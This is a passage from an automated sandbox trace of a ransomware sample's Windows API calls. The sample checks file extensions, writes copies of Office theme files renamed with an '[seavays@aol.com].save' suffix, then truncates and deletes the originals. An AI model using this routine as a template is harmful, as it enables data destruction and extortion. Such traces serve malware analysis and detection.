(lpString=".ppt") returned 4 [0176.804] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0176.804] lstrlenW (lpString=".zip") returned 4 [0176.804] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.804] lstrlenW (lpString=".rar") returned 4 [0176.805] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.805] lstrlenW (lpString=".bz2") returned 4 [0176.805] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.805] lstrlenW (lpString=".7z") returned 3 [0176.805] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0176.805] lstrlenW (lpString=".dbf") returned 4 [0176.805] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0176.805] lstrlenW (lpString=".1cd") returned 4 [0176.805] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0176.805] lstrlenW (lpString=".jpg") returned 4 [0176.805] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.805] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0176.805] lstrlenW (lpString="Extreme Shadow.eftx") returned 19 [0176.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.807] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=340217) returned 1 [0176.807] CloseHandle (hObject=0x544) returned 1 [0176.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220 [0176.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.808] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0176.808] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0176.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.811] GetLastError () returned 0x0 [0176.811] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x530f9, lpOverlapped=0x0) returned 1 [0176.825] WriteFile (in: hFile=0x534, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x53100, lpOverlapped=0x0) returned 1 [0177.256] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0177.256] WriteFile (in: hFile=0x534, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xfa, lpOverlapped=0x0) returned 1 [0177.256] SetEndOfFile (hFile=0x534) returned 1 [0177.256] CloseHandle (hObject=0x534) returned 1 [0177.256] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.256] SetEndOfFile (hFile=0x544) returned 1 [0177.267] CloseHandle (hObject=0x544) returned 1 [0177.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1 [0177.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0177.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0177.269] lstrlenW (lpString=".doc") returned 4 [0177.269] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.269] lstrlenW (lpString=".docx") returned 5 [0177.269] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.269] lstrlenW (lpString=".pdf") returned 4 [0177.269] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.269] lstrlenW (lpString=".xls") returned 4 [0177.269] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.269] lstrlenW (lpString=".xlsx") returned 5 [0177.269] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.269] lstrlenW (lpString=".ppt") returned 4 [0177.269] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0177.269] lstrlenW (lpString=".zip") returned 4 [0177.269] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.269] lstrlenW (lpString=".rar") returned 4 [0177.269] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.269] lstrlenW (lpString=".bz2") returned 4 [0177.269] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.269] lstrlenW (lpString=".7z") returned 3 [0177.269] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0177.269] lstrlenW (lpString=".dbf") returned 4 [0177.269] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0177.270] lstrlenW (lpString=".1cd") returned 4 [0177.270] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0177.270] lstrlenW (lpString=".jpg") returned 4 [0177.270] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0177.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0177.270] lstrlenW (lpString=".doc") returned 4 [0177.270] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.270] lstrlenW (lpString=".docx") returned 5 [0177.270] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.270] lstrlenW (lpString=".pdf") returned 4 [0177.270] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.270] lstrlenW (lpString=".xls") returned 4 [0177.270] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.270] lstrlenW (lpString=".xlsx") returned 5 [0177.270] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.270] lstrlenW (lpString=".ppt") returned 4 [0177.270] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0177.270] lstrlenW (lpString=".zip") returned 4 [0177.270] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.270] lstrlenW (lpString=".rar") returned 4 [0177.270] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.270] lstrlenW (lpString=".bz2") returned 4 [0177.270] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.270] lstrlenW (lpString=".7z") returned 3 [0177.271] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0177.271] lstrlenW (lpString=".dbf") returned 4 [0177.271] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0177.271] lstrlenW (lpString=".1cd") returned 4 [0177.271] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0177.271] lstrlenW (lpString=".jpg") returned 4 [0177.271] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.271] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0177.271] lstrlenW (lpString="Inset.eftx") returned 10 [0177.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0177.273] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=44971) returned 1 [0177.273] CloseHandle (hObject=0x544) returned 1 [0177.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220 [0177.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0177.273] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.274] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.275] GetLastError () returned 0x0 [0177.275] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0xafab, lpOverlapped=0x0) returned 1 [0177.278] WriteFile (in: hFile=0x534, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xafb0, lpOverlapped=0x0) returned 1 [0177.279] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0177.279] WriteFile (in: hFile=0x534, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xe8, lpOverlapped=0x0) returned 1 [0177.280] SetEndOfFile (hFile=0x534) returned 1 [0177.280] CloseHandle (hObject=0x534) returned 1 [0177.280] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.280] SetEndOfFile (hFile=0x544) returned 1 [0177.518] CloseHandle (hObject=0x544) returned 1 [0177.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1 [0177.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0177.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0177.675] lstrlenW (lpString=".doc") returned 4 [0177.675] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.675] lstrlenW (lpString=".docx") returned 5 [0177.675] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.675] lstrlenW (lpString=".pdf") returned 4 [0177.675] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.675] lstrlenW (lpString=".xls") returned 4 [0177.675] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.675] lstrlenW (lpString=".xlsx") returned 5 [0177.675] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.675] lstrlenW (lpString=".ppt") returned 4 [0177.675] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0177.675] lstrlenW (lpString=".zip") returned 4 [0177.675] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.675] lstrlenW (lpString=".rar") returned 4 [0177.675] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.675] lstrlenW (lpString=".bz2") returned 4 [0177.675] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.675] lstrlenW (lpString=".7z") returned 3 [0177.675] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0177.675] lstrlenW (lpString=".dbf") returned 4 [0177.676] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0177.676] lstrlenW (lpString=".1cd") returned 4 [0177.676] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0177.676] lstrlenW (lpString=".jpg") returned 4 [0177.676] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0177.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0177.676] lstrlenW (lpString=".doc") returned 4 [0177.676] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.676] lstrlenW (lpString=".docx") returned 5 [0177.676] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.676] lstrlenW (lpString=".pdf") returned 4 [0177.676] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.676] lstrlenW (lpString=".xls") returned 4 [0177.676] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.676] lstrlenW (lpString=".xlsx") returned 5 [0177.676] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.676] lstrlenW (lpString=".ppt") returned 4 [0177.676] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0177.676] lstrlenW (lpString=".zip") returned 4 [0177.676] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.676] lstrlenW (lpString=".rar") returned 4 [0177.676] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.677] lstrlenW (lpString=".bz2") returned 4 [0177.677] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.677] lstrlenW (lpString=".7z") returned 3 [0177.677] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0177.677] lstrlenW (lpString=".dbf") returned 4 [0177.677] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0177.677] lstrlenW (lpString=".1cd") returned 4 [0177.677] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0177.677] lstrlenW (lpString=".jpg") returned 4 [0177.677] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.677] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0177.677] lstrlenW (lpString="Reflection.eftx") returned 15 [0177.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.679] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=48366) returned 1 [0177.679] CloseHandle (hObject=0x534) returned 1 [0177.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220 [0177.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.681] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.681] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0177.682] GetLastError () returned 0x0 [0177.682] ReadFile (in: hFile=0x534, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0xbcee, lpOverlapped=0x0) returned 1 [0177.687] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xbcf0, lpOverlapped=0x0) returned 1 [0177.690] ReadFile (in: hFile=0x534, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0177.690] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xf2, lpOverlapped=0x0) returned 1 [0177.690] SetEndOfFile (hFile=0x434) returned 1 [0177.690] CloseHandle (hObject=0x434) returned 1 [0177.690] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.690] SetEndOfFile (hFile=0x534) returned 1 [0177.695] CloseHandle (hObject=0x534) returned 1 [0177.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1 [0177.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0177.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0177.697] lstrlenW (lpString=".doc") returned 4 [0177.697] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.697] lstrlenW (lpString=".docx") returned 5 [0177.697] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.697] lstrlenW (lpString=".pdf") returned 4 [0177.697] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.697] lstrlenW (lpString=".xls") returned 4 [0177.697] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.697] lstrlenW (lpString=".xlsx") returned 5 [0177.697] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.697] lstrlenW (lpString=".ppt") returned 4 [0177.697] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0177.697] lstrlenW (lpString=".zip") returned 4 [0177.697] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.697] lstrlenW (lpString=".rar") returned 4 [0177.697] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.697] lstrlenW (lpString=".bz2") returned 4 [0177.697] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.697] lstrlenW (lpString=".7z") returned 3 [0177.697] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0177.697] lstrlenW (lpString=".dbf") returned 4 [0177.698] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0177.698] lstrlenW (lpString=".1cd") returned 4 [0177.698] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0177.698] lstrlenW (lpString=".jpg") returned 4 [0177.698] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0177.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0177.698] lstrlenW (lpString=".doc") returned 4 [0177.698] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.698] lstrlenW (lpString=".docx") returned 5 [0177.698] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.698] lstrlenW (lpString=".pdf") returned 4 [0177.698] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.698] lstrlenW (lpString=".xls") returned 4 [0177.698] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.698] lstrlenW (lpString=".xlsx") returned 5 [0177.698] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.698] lstrlenW (lpString=".ppt") returned 4 [0177.698] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0177.698] lstrlenW (lpString=".zip") returned 4 [0177.699] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.699] lstrlenW (lpString=".rar") returned 4 [0177.699] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.699] lstrlenW (lpString=".bz2") returned 4 [0177.699] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 